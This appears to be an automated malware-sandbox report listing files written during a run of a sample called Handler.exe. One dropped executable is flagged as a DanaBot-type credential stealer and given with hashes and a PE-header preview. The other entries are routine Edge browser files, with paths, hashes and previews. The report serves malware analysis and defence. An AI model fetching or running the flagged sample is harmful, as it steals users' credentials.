Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="677418" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\us0r9ri58y.exe

Download File

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5768704
Entropy (8bit):	7.177310372869276
Encrypted:	false
SSDEEP:	98304:2FcDb7q6XFlbwH09km8Wr+fPML/qDTdfGY8vCl6wv:h3u6XvbwU/8Wr+MLcpOns6w
MD5:	0A6AE4DE16757CD121632BAD3A903EDA
SHA1:	D6F1E5B9E94CB3F29873CD935356F586858A9FE7
SHA-256:	3454A44D19DA21B765B39886811918F59092CD9B1D0FCD9020F9779283B27B74
SHA-512:	E08BA43ABFC5494AA01EE3006656D1F6ADC70403EAFB38705C79104F52AAD1C7FEC619DCA06F8EFBB1128A15C6895BE4FDDA7A0552598DC87CAA34484EEE9966
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\ProgramData\us0r9ri58y.exe, Author: Joe Security Rule: JoeSecurity_DanaBot_stealer_dll, Description: Yara detected DanaBot stealer dll, Source: C:\ProgramData\us0r9ri58y.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\ProgramData\us0r9ri58y.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: Handler.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....g..................O..6......D.O.......O...@...........................Y..................@....................T......`T..A....X..X....................T...............................T.....................PmT.......T......................text....O.......O................. ..`.itext..`.....O.......O............. ..`.data.........O.......O.............@....bss..........S..........................idata...A...`T..B....S.............@....didata.......T.......S.............@....edata........T.......S.............@..@.tls....(.....T..........................rdata..\.....T.......S.............@..@.reloc........T.......S.............@..B.rsrc....X....X..X....W.............@..@..............Y.......X.............@..@................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0f39f77b-d60b-4c1b-b504-a302887155f2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44616
Entropy (8bit):	6.096258108426558
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB4wu3hDO6vP6OVxt5GcMVYQwN1cGoup1Xl3jVzXr2:z/Ps+wsI7ynEP618Mchu3VlXr4CRo1
MD5:	DA0D0B4DC3959138548C5399FC5615A2
SHA1:	ADFA465ED6DB9AC7E92F3491E12384DBA2BABE2B
SHA-256:	5EE7298AD1A4676E4F39D5A2CD91ED8597B2CBE6497E650B2B8100313B1C73D2
SHA-512:	D4FEDC04B76480E0469217B059B8A80733BAC30D87250BE066D1CB5DBF803D5B992690D251123B1CFCE7DB640A1F7DEAFA1019F40A59A4558BEED898C3111B29
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0f5e236a-cba9-4881-aec9-f15aceea1400.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45757
Entropy (8bit):	6.090594254405012
Encrypted:	false
SSDEEP:	768:mMkbJ6eg6KzhXRLrD92I8uUhDO6vP6OVxt5G4/nH3dF4HXsAv8CAo9Goup1Xl3jX:mMk16zRRvD92i618DXORo9hu3VlXr4C
MD5:	A640899BF74BDB56252CDFA4B1D2AE7F
SHA1:	BCD888A69F0CB1C97099C7FA30FE30E326E8CB72
SHA-256:	897570E8C10FAD4324B94765AFEE66176EC7A3424E36FE186BC37E0033C8A734
SHA-512:	F631940B482146DC43EFBA0997C76107528F091C90007A22369FD125FE529AC532D5CD07EA86A7F740670F89970B2689009AAD97F00ED5E34FBA52D1C6645DC9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3425500e-dd2f-4107-b310-fad53e5252d7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45804
Entropy (8bit):	6.090400495913324
Encrypted:	false
SSDEEP:	768:mMkbJ6eg6KzhXRLrD92X8uUhDO6vP6OVxt5G4/nH3dF4HXsAv8CAo9Goup1Xl3jX:mMk16zRRvD92R618DXORo9hu3VlXr4C
MD5:	AFE388EFA52BB43211F68C9B7143BD8B
SHA1:	BF7720D7D9F6A26DD38DEB56B46957C15539F51E
SHA-256:	23BE2C488DFCAA5147D808664242964813129B6A5097BE7635DDA71F40401FDA
SHA-512:	1809BFB07D62A65CAAD809F8514ACD1AB716E59FC35EA795CFC2C6B4845B7C6177E5A18268ADF49F07A57C7F52B56F374D7923E5B0200B7534EB6830BFB5C41F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\68b6b2d9-1e2f-4305-9f53-ff2129240dc1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44616
Entropy (8bit):	6.096258108426558
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB4wu3hDO6vP6OVxt5GcMVYQwN1cGoup1Xl3jVzXr2:z/Ps+wsI7ynEP618Mchu3VlXr4CRo1
MD5:	DA0D0B4DC3959138548C5399FC5615A2
SHA1:	ADFA465ED6DB9AC7E92F3491E12384DBA2BABE2B
SHA-256:	5EE7298AD1A4676E4F39D5A2CD91ED8597B2CBE6497E650B2B8100313B1C73D2
SHA-512:	D4FEDC04B76480E0469217B059B8A80733BAC30D87250BE066D1CB5DBF803D5B992690D251123B1CFCE7DB640A1F7DEAFA1019F40A59A4558BEED898C3111B29
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\709f16c5-3346-47df-b727-389198877ad3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45881
Entropy (8bit):	6.090350400459848
Encrypted:	false
SSDEEP:	768:mMkbJ6eg6KzhXRLrMo2X8uUhDO6vP6OVxt5GM/nH3dF4HXsAv8CAo9Goup1Xl3jX:mMk16zRRvMo2R618PXORo9hu3VlXr4C
MD5:	4D17DBCD3F748B4C2ED3669605619D13
SHA1:	297182280EF319659364B42C2A09D1E92C210E48
SHA-256:	DDFE9826635668DE516F7258B181835D28B740A13FF29AADB395FA68745DF289
SHA-512:	966F4894DC3542B1833A755F96129209197E0582833716E78A1E4BFD12C2177765063F7FB20486E67C689C2E8AA9FDB3B7F5C24C3D6954665A795E6A02CCF446
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\83629362-0169-40a3-a7d4-f9c31a3c713b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45881
Entropy (8bit):	6.090348095235239
Encrypted:	false
SSDEEP:	768:mMkbJ6eg6KzhXRLrM92X8uUhDO6vP6OVxt5GM/nH3dF4HXsAv8CAo9Goup1Xl3jX:mMk16zRRvM92R618PXORo9hu3VlXr4C
MD5:	F2F057A1FF419FA786B7BB70CF57AE41
SHA1:	19D0D9A7AEDA8625958C39FD31A4BA3B3C98584A
SHA-256:	E5E03B2E14954AD3076F6871426B171F969769D2B5B1ADF90A1C7AE234DEF220
SHA-512:	DE9244E066725101DADC8B737650DF94BD8DEA9DF36C5BEC70A2E9882E0FB2571729FD8E9C0AD0291492CFB4DFC581C17AF8A0CD511C13CB4FB224F08FB2C3ED
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\01954b75-00ed-42f3-b61b-fcb8475e8145.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640150861192053
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7A:fwUQC5VwBIiElEd2K57P7A
MD5:	B04D1201B7C983202CB8DEB5EABAB9D5
SHA1:	34804867487524FDFEEE1566462AAFBFB9CBD953
SHA-256:	542BC74CB247AB6047F9C5D54BAF615509B66795537EF501D50311F96B40A536
SHA-512:	850CF9734C1A893D31BEB4979B5ACB9D84728E72DE0C98E6F743BFFA361625622058339456209E64FC11FC7C817F5237FBE7EC0A3FF47DD76FDC8239615AE003
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640150861192053
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7A:fwUQC5VwBIiElEd2K57P7A
MD5:	B04D1201B7C983202CB8DEB5EABAB9D5
SHA1:	34804867487524FDFEEE1566462AAFBFB9CBD953
SHA-256:	542BC74CB247AB6047F9C5D54BAF615509B66795537EF501D50311F96B40A536
SHA-512:	850CF9734C1A893D31BEB4979B5ACB9D84728E72DE0C98E6F743BFFA361625622058339456209E64FC11FC7C817F5237FBE7EC0A3FF47DD76FDC8239615AE003
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\40cb594c-34d8-4d47-8feb-a9df9fcf409e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.5608549071481965
Encrypted:	false
SSDEEP:	768:gPz08N7pLGLhWUWP99f668F1+UoAYDCx9Tuqh0VfUC9xbog/OVqnkbKV5rwty+Sw:gPz087chWUWP99f66u1jannkuVKtys6M
MD5:	464001CD9302B0DD862694DE4EDFE993
SHA1:	138A5005E305436BAFA9A3F72B5CB872F678D4C4
SHA-256:	5433347A9E238DC6905C1AABA6AC770E965283123D296CA2E87ED7FE182956AB
SHA-512:	00C42ECA0153BA5D68F29A395396F27F3EFFD75F17386FA0DD25351E4B60770515C4B56849E77CE0148382F96D90A28849AB7C4A97D7F41D25B9230440490245
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13381442186803306","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13381442186803306","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\90778258-f5b3-4fdf-a6b9-8317abc6c53a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26889
Entropy (8bit):	5.575965950398691
Encrypted:	false
SSDEEP:	768:g2N06UWP99fH68F1+UoAYDCx9Tuqh0VfUC9xbog/OVMnJbKG5rwmApWtuV:g2N06UWP99fH6u1jahnJuGKMtK
MD5:	4CC83F9CCA7192F8414D24B0F30721A5
SHA1:	9ADD1396C109CD0D63AB95AD5B06D84B16BD6FC3
SHA-256:	FCCB636D53413800D207E9403163F0628CBD1212B12A1A6D27D335B96CD8EE2E
SHA-512:	C5A03D4585DBB40B5E2E93F6EC64F0C13F2DD4247364659FD9929782855127246B996B54947B7E7EC926A9AA764D3C8E6FC88A53434317BE3F9BD24051653E19
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13381442186803306","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13381442186803306","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\99eb968e-220a-4228-9c26-5f51a462b4d7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10531
Entropy (8bit):	5.213135259410048
Encrypted:	false
SSDEEP:	192:strkdp3sOvsZihKyb5+ka+G28ybV+FaloQwT66WoaFIMYqPuYJ:strQ3sOvfhKyb5RbGzQwe6WoaTYA
MD5:	D342BAC3CCBC23AE7EA9A1040952EB06
SHA1:	DB9CCDC7AA98E14FABB0E8E4E5D4CE422A2B0B32
SHA-256:	EE384B5C5992F5F446D53DE39FF92D288F63D51D9B70D05DDD1A48D4F6523B55
SHA-512:	D4BDCC98E2EFC060793EFF54AF93E13560A6A07D5FE2B32BF3254CD74F1C7439D9A159CFC08E0FB971079B16870D4E2C098B64198397F1E895FD35BA13FB2720
Malicious:	false
